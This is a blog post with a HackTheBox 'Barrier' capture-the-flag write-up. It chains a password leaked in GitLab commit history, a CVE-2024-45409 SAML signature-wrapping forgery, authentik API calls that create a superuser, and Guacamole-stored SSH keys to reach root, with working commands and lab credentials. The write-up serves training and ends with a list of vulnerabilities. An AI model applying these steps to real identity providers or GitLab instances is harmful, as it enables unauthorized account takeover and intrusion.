DEV Community

Cover image for HackTheBox: Barrier Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Barrier Writeup

Summary

Barrier is a Linux machine built around a GitLab CE instance federated to an authentik SSO provider, with Apache Guacamole sitting behind the same SSO. Initial access starts with a low-privilege GitLab user, whose password is leaked in a project's commit history. That same SAML flow is then attacked with CVE-2024-45409, a Ruby-SAML signature wrapping vulnerability, allowing a forged SAML assertion to authenticate to GitLab as the built-in admin (akadmin) without knowing its credentials. Pivoting into authentik itself (the actual identity provider) via a leaked API token escalates further: an authentik admin API call is abused to create a fully privileged superuser account directly. From there, impersonating an existing low-privilege user grants a Guacamole RDP/SSH session, exposing stored SSH private keys for two Linux accounts in the Guacamole database. One key lands a foothold as maki; a leftover unlinked .bash_history then reveals a password reused for sudo su, leading to root.

Recon

nmap -sC -sV -A <MACHINE-IP> -oA nmap
Enter fullscreen mode Exit fullscreen mode

Open ports:

Port Service
22 OpenSSH 8.9p1 (Ubuntu)
80/443 nginx, redirects to gitlab.barrier.vl (GitLab CE, SAML SSO enabled)
8080 Apache Tomcat 9.0.58 — hosting /guacamole/
9000 authentik (Golang net/http backend)

Adding barrier.vl and gitlab.barrier.vl to /etc/hosts resolves the redirect properly.

Tomcat's default page exposes links to /manager/html and /host-manager/html, both returning 401 Unauthorized — no usable default credentials found there; this was a dead end.

Foothold: Leaked Credentials in GitLab Commit History

GitLab self-registration is gated behind admin approval, so a fresh signup is immediately blocked ("pending approval"). Clicking Explore (unauthenticated) reveals a public project: satoru/gitconnect.

Reviewing its commit history shows two commits to gitconnect.py. The older commit introduces a script that authenticates to the GitLab API using hardcoded credentials:

auth_data = {
    'grant_type': 'password',
    'username': 'satoru',
    'password': 'dGJ2V72SUEMsM3Ca'
}
Enter fullscreen mode Exit fullscreen mode

The newer commit redacts the password to *** - but the plaintext value remains visible in the diff history. Logging into GitLab as satoru with this password succeeds.

SSO Reconnaissance and CVE-2024-45409

GitLab's login page offers a "Single Sign On" button, backed by authentik (port 9000). Authenticating to authentik as satoru (same password, confirming reuse) exposes two SSO-linked applications: Gitlab and Guacamole.

Intercepting the SSO callback in Burp shows the SAML POST hitting /users/auth/saml/callback with a SAMLResponse parameter, accompanied by a browser warning about submitting data over an insecure (HTTP) channel — a strong signal that the SAML flow itself is exposed and worth attacking. Decoding the SAMLResponse (URL-decode → Base64-decode → raw inflate) gives the underlying signed XML, including the assertion's NameID (satoru) and authentik's self-signed signing certificate.

This GitLab instance runs version 17.3.2, which sits in the affected range for CVE-2024-45409 — a flaw in the Ruby-SAML library (used by GitLab) that fails to properly validate the SAML signature scope. As long as an attacker has one validly-signed SAML document from the IdP, they can construct a forged assertion (signature wrapping) claiming to be any user, including a GitLab admin — provided that admin's username is known.

To confirm a target username exists before forging anything, a personal access token is generated from the satoru account: click the profile picture → Edit profileAccess TokensAdd new token → give it a name, set an expiration date, select all available scopes, then click Create personal access token. The token is then used to enumerate GitLab's user list via the API:

curl -sk -H "Authorization: Bearer glpat-rCzMYKcGsnd4yAcKh5dw" \
  https://gitlab.barrier.vl/api/v4/users?per_page=100 | jq
Enter fullscreen mode Exit fullscreen mode
[
  {
    "id": 2,
    "username": "satoru",
    "name": "satoru",
    "state": "active",
    "web_url": "https://gitlab.barrier.vl/satoru"
  },
  {
    "id": 1,
    "username": "akadmin",
    "name": "akadmin",
    "state": "active",
    "web_url": "https://gitlab.barrier.vl/akadmin"
  }
]
Enter fullscreen mode Exit fullscreen mode

This confirms an active account akadmin (user ID 1 - typically GitLab's default built-in admin) exists on the instance, making it the clear target for the forged assertion.

Using the Synacktiv PoC:

python3 cve-2024-45409.py -r saml.xml -n akadmin -e -o evil.xml
Enter fullscreen mode Exit fullscreen mode

The captured legitimate SAML response is saved as saml.xml, and the tool patches it to assert identity as akadmin. Intercepting a fresh SSO login attempt in Burp and replacing the SAMLResponse body with the (Base64/URL-encoded) contents of evil.xml authenticates the session as akadmin - a full GitLab administrator - without ever knowing its real password.

Escalating via the Authentik API

As GitLab admin, the CI/CD → Variables admin settings page reveals a leftover AUTHENTIK_TOKEN CI/CD variable - a credential leaked into GitLab's configuration that actually authenticates against authentik's own API, not GitLab's.

Verifying the token against authentik using its documented API (referenced at api.goauthentik.io), specifically the admin version endpoint - checking it first without a token to confirm it requires auth, then with the token:

curl -s -L "http://gitlab.barrier.vl:9000/api/v3/admin/version/" \
  -H "Authorization: Bearer <TOKEN>" -H "Accept: application/json" | jq
Enter fullscreen mode Exit fullscreen mode
{
  "version_current": "2024.10.5",
  "version_latest": "0.0.0",
  "version_latest_valid": false,
  "build_hash": "",
  "outdated": false,
  "outpost_outdated": false
}
Enter fullscreen mode Exit fullscreen mode

This confirms a valid, privileged authentik API token (authentik 2024.10.5). The same token is also used to confirm what applications authentik is fronting:

curl -s -L "http://gitlab.barrier.vl:9000/api/v3/core/applications/" \
  -H "Authorization: Bearer <TOKEN>" -H "Accept: application/json" | jq
Enter fullscreen mode Exit fullscreen mode

This returns two configured SAML applications - Gitlab and Guacamole - confirming both services are federated through this same authentik instance and both are now in scope.

From here, the authentik REST API is abused directly to create a superuser account:

  1. Enumerate users:
   curl -s -L "http://gitlab.barrier.vl:9000/api/v3/core/users/" \
     -H "Authorization: Bearer <TOKEN>" -H "Accept: application/json" | jq
Enter fullscreen mode Exit fullscreen mode

This reveals accounts akadmin, satoru, and maki.

  1. Create a new user, attempting to set is_superuser: true directly in the request body:
   curl -s -L "http://gitlab.barrier.vl:9000/api/v3/core/users/" \
     -H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" \
     --data-raw '{"username": "evil", "name": "evil", "is_superuser": true}' | jq
Enter fullscreen mode Exit fullscreen mode
   {
     "pk": 36,
     "username": "evil",
     "name": "evil",
     "is_active": true,
     "is_superuser": false,
     ...
   }
Enter fullscreen mode Exit fullscreen mode

The API silently ignores is_superuser on creation (the response shows false regardless of what was sent), so privilege has to be granted a different way.

  1. Set a password for the new user via the admin-only endpoint:
   curl -v -L "http://gitlab.barrier.vl:9000/api/v3/core/users/36/set_password/" \
     -H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" \
     -d '{"password": "pass123"}'
Enter fullscreen mode Exit fullscreen mode

Returns HTTP/1.1 204 No Content - password accepted.

  1. Enumerate groups:
   curl -s -L "http://gitlab.barrier.vl:9000/api/v3/core/groups/" \
     -H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" | jq
Enter fullscreen mode Exit fullscreen mode

This finds the built-in authentik Admins group, with "is_superuser": true and akadmin as its only current member.

  1. Add the new user to that group:
   curl -v -L "http://gitlab.barrier.vl:9000/api/v3/core/groups/a38fb983-8b71-4bf2-b5a7-42ab9fdd58e8/add_user/" \
     -H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" \
     -d '{"pk": 36}'
Enter fullscreen mode Exit fullscreen mode

Returns HTTP/1.1 204 No Content - user added to the superuser group.

Logging into authentik as evil / pass123 now grants the full Admin interface, confirming superuser access to the identity provider itself — the most privileged point in the entire SSO chain.

Pivoting via Guacamole Impersonation

From the authentik admin panel (Identity → Users), every user can be impersonated with one click. Impersonating maki and launching the Guacamole application from the application library opens an active Guacamole connection named Maintenance, landing directly in an SSH session as maki on the underlying host:

id
uid=1001(maki) gid=1001(maki) groups=1001(maki)
Enter fullscreen mode Exit fullscreen mode

The user flag is recovered at /home/maki/user.txt.

To get a stable shell, maki's own SSH key pair in ~/.ssh/ (already trusted via authorized_keys) is copied off and used directly. A plain SSH attempt fails first: the connection is rejected with an error stating the client and server couldn't agree on a host key type, with the server only offering ssh-rsa. This happens because modern OpenSSH clients disable the older ssh-rsa host key algorithm by default (it relies on SHA-1), while this older Ubuntu host's SSH daemon still only presents an ssh-rsa host key. Re-enabling that algorithm just for this connection with -oHostKeyAlgorithms=+ssh-rsa resolves the mismatch and lets the handshake complete:

ssh -oHostKeyAlgorithms=+ssh-rsa -i id_ed25519 maki@barrier.vl
Enter fullscreen mode Exit fullscreen mode

Database Pivot: Guacamole-Stored Credentials

Locating Guacamole's configuration on the host:

find / -type d -name 'guacamole' 2>/dev/null
cat /etc/guacamole/guacamole.properties
Enter fullscreen mode Exit fullscreen mode

This reveals plaintext MySQL credentials for Guacamole's backing database (guac_user / guac2024). Connecting to it:

mysql -h 127.0.0.1 -u guac_user -pguac2024 guac_db
Enter fullscreen mode Exit fullscreen mode

Querying the database directly for stored connection data:

show tables;
Enter fullscreen mode Exit fullscreen mode
+---------------------------------------+
| Tables_in_guac_db                     |
+---------------------------------------+
| guacamole_connection                  |
| guacamole_connection_attribute        |
| guacamole_connection_group            |
| ...                                   |
| guacamole_connection_parameter        |
| guacamole_user                        |
| ...                                   |
+---------------------------------------+
23 rows in set
Enter fullscreen mode Exit fullscreen mode
select * from guacamole_connection;
Enter fullscreen mode Exit fullscreen mode
+---------------+-----------------+-----------+----------+
| connection_id | connection_name | parent_id | protocol |
+---------------+-----------------+-----------+----------+
|             1 | Maintenance     |      NULL | ssh      |
|             2 | Maki_Adm        |      NULL | ssh      |
+---------------+-----------------+-----------+----------+
2 rows in set
Enter fullscreen mode Exit fullscreen mode

This confirms two stored SSH connections: Maintenance (the one already used as maki) and Maki_Adm. Pulling the actual stored credentials for each:

select * from guacamole_connection_parameter where connection_id=1 \G
Enter fullscreen mode Exit fullscreen mode
*************************** 1. row ***************************
  connection_id: 1
 parameter_name: hostname
parameter_value: localhost
*************************** 2. row ***************************
  connection_id: 1
 parameter_name: port
parameter_value: 22
*************************** 3. row ***************************
  connection_id: 1
 parameter_name: private-key
parameter_value: -----BEGIN OPENSSH PRIVATE KEY-----
<snip>
-----END OPENSSH PRIVATE KEY-----
*************************** 4. row ***************************
  connection_id: 1
 parameter_name: username
parameter_value: maki
4 rows in set
Enter fullscreen mode Exit fullscreen mode
select * from guacamole_connection_parameter where connection_id=2 \G
Enter fullscreen mode Exit fullscreen mode
*************************** 1. row ***************************
  connection_id: 2
 parameter_name: hostname
parameter_value: localhost
*************************** 2. row ***************************
  connection_id: 2
 parameter_name: passphrase
parameter_value: 3V32FN6oViMPxyzC
*************************** 3. row ***************************
  connection_id: 2
 parameter_name: port
parameter_value: 22
*************************** 4. row ***************************
  connection_id: 2
 parameter_name: private-key
parameter_value: -----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,641356448A934274F5411C859C1FE00F

<snip>
-----END RSA PRIVATE KEY-----
*************************** 5. row ***************************
  connection_id: 2
 parameter_name: username
parameter_value: maki_adm
5 rows in set
Enter fullscreen mode Exit fullscreen mode

Connection 2 yields a full encrypted RSA private key, its decryption passphrase (3V32FN6oViMPxyzC), and the target username maki_adm - all stored in cleartext in the database.

Using this key (the same -oHostKeyAlgorithms=+ssh-rsa workaround is needed again, for the same reason as above):

ssh -oHostKeyAlgorithms=+ssh-rsa -i maki_adm_key maki_adm@barrier.vl
Enter fullscreen mode Exit fullscreen mode

lands a shell as maki_adm (group admin).

Privilege Escalation to Root

sudo -l requires a password and initial attempts fail. However, maki_adm's .bash_history - unlike maki's (which is symlinked to /dev/null) - is a real, readable file:

cat .bash_history
sudo su
Va4kSjgTHSd55ZLv
Enter fullscreen mode Exit fullscreen mode

The recovered password works directly for sudo su:

sudo su
whoami
root
cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode

Flags

  • User flag (maki): HTB{REDACTED}
  • Root flag: HTB{REDACTED}

Attack Chain

  1. Recon reveals GitLab CE (80/443), Apache Tomcat (8080, hosting Guacamole), and authentik SSO (9000)
  2. GitLab self-registration is blocked pending admin approval — set aside as a dead end
  3. Explore GitLab unauthenticated → find public project satoru/gitconnect → recover plaintext password from an earlier commit despite a later "redaction" commit
  4. Log into GitLab and authentik as satoru (password reuse across both)
  5. Capture a legitimate SAML response from the GitLab↔authentik SSO flow via Burp
  6. Generate a personal access token as satoru and enumerate GitLab users via the API, confirming an active akadmin admin account
  7. Exploit CVE-2024-45409 (Ruby-SAML signature wrapping) to forge a SAML assertion claiming identity akadmin → authenticate to GitLab as admin without its password
  8. As GitLab admin, find a leaked AUTHENTIK_TOKEN in CI/CD variables — a privileged authentik API token
  9. Abuse the authentik REST API: create a new user, set its password via the admin endpoint, then add it to the authentik Admins group → full authentik superuser access
  10. From the authentik admin panel, impersonate existing user maki and launch the Guacamole application → lands directly in an SSH session as maki on the host → user flag
  11. Recover Guacamole's MySQL credentials from /etc/guacamole/guacamole.properties; query the database directly for stored connection credentials → recover an encrypted RSA key + passphrase for maki_adm
  12. SSH in as maki_adm using the recovered key
  13. Read maki_adm's un-symlinked .bash_history, recovering a plaintext password used for sudo su → root

Key Vulnerabilities

Vulnerability Description
Secrets in version control GitLab project commit history retained a plaintext password even after a later commit "redacted" it in the latest revision
CVE-2024-45409 (Ruby-SAML) Improper SAML signature validation scope allows forging an assertion for any username (including admin) given one validly-signed sample document from the IdP
Insecure SSO transport SAML callback submitted over plaintext HTTP, enabling trivial interception/replay of the assertion via a proxy
Leaked privileged API token An AUTHENTIK_TOKEN with full authentik admin API access was stored as a GitLab CI/CD variable, reachable by any GitLab admin
Authentik API privilege escalation Authentik's user/group management API allowed creating a user, then granting superuser group membership, entirely via API calls — no UI confirmation step
Plaintext credentials in Guacamole DB Guacamole stores connection parameters (including private keys and passphrases) in its backing MySQL database in cleartext, retrievable with the Guacamole DB credentials found in guacamole.properties
Sensitive shell history left readable maki_adm's .bash_history (unlike other accounts') was a real file rather than symlinked to /dev/null, and contained a plaintext sudo password

Top comments (0)